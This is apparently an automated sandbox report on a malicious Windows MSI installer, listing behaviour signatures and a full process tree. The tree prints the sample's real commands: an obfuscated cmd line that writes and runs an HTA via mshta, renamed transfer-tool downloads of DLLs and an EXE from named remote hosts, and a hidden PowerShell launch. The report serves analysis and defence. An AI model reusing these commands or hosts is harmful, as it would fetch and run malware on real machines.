Overview

overview

8

Static

static

cb26a2a0b3...74.msi

windows7_x64

8

cb26a2a0b3...74.msi

windows10_x64

8

Analysis

  • max time kernel
    119s
  • max time network
    143s
  • platform
    windows10_x64
  • resource
    win10-en-20211104
  • submitted
    04/12/2021, 09:36

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    cb26a2a0b3aedc740fb14a6061f36674.msi
  • Size 272KB
  • Sample211204-lkxdcaagdr
  • SHA256 6b2a97d42b3da43843b8cbfc4fa53d954be3b041e853c9cd87bb37fe88a91573
  • MD5 SHA1 SHA512
Score
8/10
discovery

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 6 IoCs
  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 2 IoCs
    discovery
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 11 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 64 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 54 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 61 IoCs

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\cb26a2a0b3aedc740fb14a6061f36674.msi
    1⤵
    • Enumerates connected drives
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:2588
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3532
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1412
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding B6CCDE350985E994EE4AE3195FB3D57B
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:492
      • C:\Windows\SysWOW64\ICACLS.EXE
        "C:\Windows\system32\ICACLS.EXE" "C:\Users\Admin\AppData\Local\Temp\MW-8676815d-d7c1-4103-ba83-29d8a808c54c\." /SETINTEGRITYLEVEL (CI)(OI)HIGH
        3⤵
        • Modifies file permissions
        PID:1344
      • C:\Windows\SysWOW64\EXPAND.EXE
        "C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files
        3⤵
        • Drops file in Windows directory
        PID:3996
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /V/D/c "seT sKk=script&&seT px=mshta&&SEt ${svar7}=C:\Users\Public\\Videos\\^cgp&&SEt QUMWW=^<!sKk!^>try{vjetiar c=’!sKk!:’;d=’hjetiTtP:’;GjetietObjjetiect(c+d+’&&sET 8F6C=EWHCQEWHCQhkaais.abuletangles.usEWHCQ?2EWHCQ’);}catch(e){}close();^</!sKk!^>&&sEt/^p 8QQJ="%QUMWW:jeti=%%8F6C:EWHCQ=/%"<nul > %${svar7}%.Hta|start !px! !${svar7}!.Hta "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2396
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" sEt/p 8QQJ="%QUMWW:jeti=%%8F6C:EWHCQ=/%" 0<nul 1>%${svar7}%.Hta"
          4⤵
            PID:3644
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" start mshta C:\Users\Public\\Videos\\cgp.Hta "
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:3256
            • C:\Windows\SysWOW64\mshta.exe
              mshta C:\Users\Public\\Videos\\cgp.Hta
              5⤵
              • Blocklisted process makes network request
              • Suspicious use of WriteProcessMemory
              PID:2976
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /V /C "echo C:\Users\Public\Videos\uwccyctupaexmzqrqbka34752501444\>C:\Users\Public\lw"&& exit
                6⤵
                  PID:1212
                • C:\Users\Public\Videos\uwccyctupaexmzqrqbka34752501444\in.exe
                  "C:\Users\Public\Videos\uwccyctupaexmzqrqbka34752501444\in.exe" /reset
                  6⤵
                  • Executes dropped EXE
                  PID:2104
                • C:\Users\Public\Videos\uwccyctupaexmzqrqbka34752501444\in.exe
                  "C:\Users\Public\Videos\uwccyctupaexmzqrqbka34752501444\in.exe" /transfer 20217012343 /priority foreground http://era86.torneadora.click/?72022085385677838 "C:\Users\Public\Videos\uwccyctupaexmzqrqbka34752501444\dart.dll"
                  6⤵
                  • Executes dropped EXE
                  PID:3924
                • C:\Users\Public\Videos\uwccyctupaexmzqrqbka34752501444\in.exe
                  "C:\Users\Public\Videos\uwccyctupaexmzqrqbka34752501444\in.exe" /transfer 20217012343 /priority foreground http://era86.torneadora.click/?51139815667676730 "C:\Users\Public\Videos\uwccyctupaexmzqrqbka34752501444\log33.dll"
                  6⤵
                  • Executes dropped EXE
                  PID:3684
                • C:\Users\Public\Videos\uwccyctupaexmzqrqbka34752501444\in.exe
                  "C:\Users\Public\Videos\uwccyctupaexmzqrqbka34752501444\in.exe" /transfer 20217012343 /priority foreground http://era86.torneadora.click/?46619139874686456 "C:\Users\Public\Videos\uwccyctupaexmzqrqbka34752501444\setupcl.exe"
                  6⤵
                  • Executes dropped EXE
                  PID:2324
                • C:\Users\Public\Videos\uwccyctupaexmzqrqbka34752501444\in.exe
                  "C:\Users\Public\Videos\uwccyctupaexmzqrqbka34752501444\in.exe" /transfer 20217012343 /priority foreground http://era86.torneadora.click/?42571908532636932 "C:\Users\Public\Videos\uwccyctupaexmzqrqbka34752501444\tty"
                  6⤵
                  • Executes dropped EXE
                  PID:1584
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /V /C "echo zxccjdwauxrktbhludnuen >C:\Users\Public\Videos\uwccyctupaexmzqrqbka34752501444\\r2.log"&& exit
                  6⤵
                    PID:3592
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c cd C:\Windows\System32\WindowsPowerShell\v1.0\&& ^start ^/W ^/MIN powershell -windowstyle hidden -Command "& 'C:\Users\Public\Videos\uwccyctupaexmzqrqbka34752501444\setupcl.exe' C:\Users\Public\Videos\uwccyctupaexmzqrqbka34752501444\tty "&& timeout 3600
                    6⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2296
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      powershell -windowstyle hidden -Command "& 'C:\Users\Public\Videos\uwccyctupaexmzqrqbka34752501444\setupcl.exe' C:\Users\Public\Videos\uwccyctupaexmzqrqbka34752501444\tty "
                      7⤵
                      • Drops file in System32 directory
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of WriteProcessMemory
                      PID:3904
                      • C:\Users\Public\Videos\uwccyctupaexmzqrqbka34752501444\setupcl.exe
                        "C:\Users\Public\Videos\uwccyctupaexmzqrqbka34752501444\setupcl.exe" C:\Users\Public\Videos\uwccyctupaexmzqrqbka34752501444\tty
                        8⤵
                          PID:1220
                      • C:\Windows\SysWOW64\timeout.exe
                        timeout 3600
                        7⤵
                        • Delays execution with timeout.exe
                        PID:1032
              • C:\Users\Admin\AppData\Local\Temp\MW-8676815d-d7c1-4103-ba83-29d8a808c54c\files\chkdsk.exe
                "C:\Users\Admin\AppData\Local\Temp\MW-8676815d-d7c1-4103-ba83-29d8a808c54c\files\chkdsk.exe"
                3⤵
                • Executes dropped EXE
                PID:3576
              • C:\Windows\SysWOW64\ICACLS.EXE
                "C:\Windows\system32\ICACLS.EXE" "C:\Users\Admin\AppData\Local\Temp\MW-8676815d-d7c1-4103-ba83-29d8a808c54c\." /SETINTEGRITYLEVEL (CI)(OI)LOW
                3⤵
                • Modifies file permissions
                PID:4080
          • C:\Windows\system32\vssvc.exe
            C:\Windows\system32\vssvc.exe
            1⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3140
          • \??\c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s DsmSvc
            1⤵
            • Checks SCSI registry key(s)
            • Modifies data under HKEY_USERS
            PID:1556

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                memory/492-125-0x00000000006D0000-0x00000000006D1000-memory.dmp
                Download

                memory/492-124-0x00000000006D0000-0x00000000006D1000-memory.dmp
                Download

                memory/2588-119-0x00000272EE1B0000-0x00000272EE1B2000-memory.dmp
                Download

                memory/2588-118-0x00000272EE1B0000-0x00000272EE1B2000-memory.dmp
                Download

                memory/3532-120-0x000002D0DFB90000-0x000002D0DFB92000-memory.dmp
                Download

                memory/3532-121-0x000002D0DFB90000-0x000002D0DFB92000-memory.dmp
                Download

                memory/3904-162-0x00000000071F0000-0x00000000071F1000-memory.dmp
                Download

                memory/3904-170-0x0000000008270000-0x0000000008271000-memory.dmp
                Download

                memory/3904-160-0x0000000004D00000-0x0000000004D01000-memory.dmp
                Download

                memory/3904-161-0x0000000004D02000-0x0000000004D03000-memory.dmp
                Download

                memory/3904-158-0x0000000004C10000-0x0000000004C11000-memory.dmp
                Download

                memory/3904-163-0x0000000007B00000-0x0000000007B01000-memory.dmp
                Download

                memory/3904-164-0x0000000007B70000-0x0000000007B71000-memory.dmp
                Download

                memory/3904-165-0x0000000007BE0000-0x0000000007BE1000-memory.dmp
                Download

                memory/3904-166-0x0000000004730000-0x0000000004731000-memory.dmp
                Download

                memory/3904-168-0x0000000007AE0000-0x0000000007AE1000-memory.dmp
                Download

                memory/3904-169-0x0000000008010000-0x0000000008011000-memory.dmp
                Download

                memory/3904-159-0x0000000007380000-0x0000000007381000-memory.dmp
                Download

                memory/3904-157-0x0000000004730000-0x0000000004731000-memory.dmp
                Download

                memory/3904-172-0x0000000004730000-0x0000000004731000-memory.dmp
                Download

                memory/3904-174-0x0000000004D04000-0x0000000004D06000-memory.dmp
                Download

                memory/3904-173-0x0000000004D03000-0x0000000004D04000-memory.dmp
                Download

                memory/3904-156-0x0000000004730000-0x0000000004731000-memory.dmp
                Download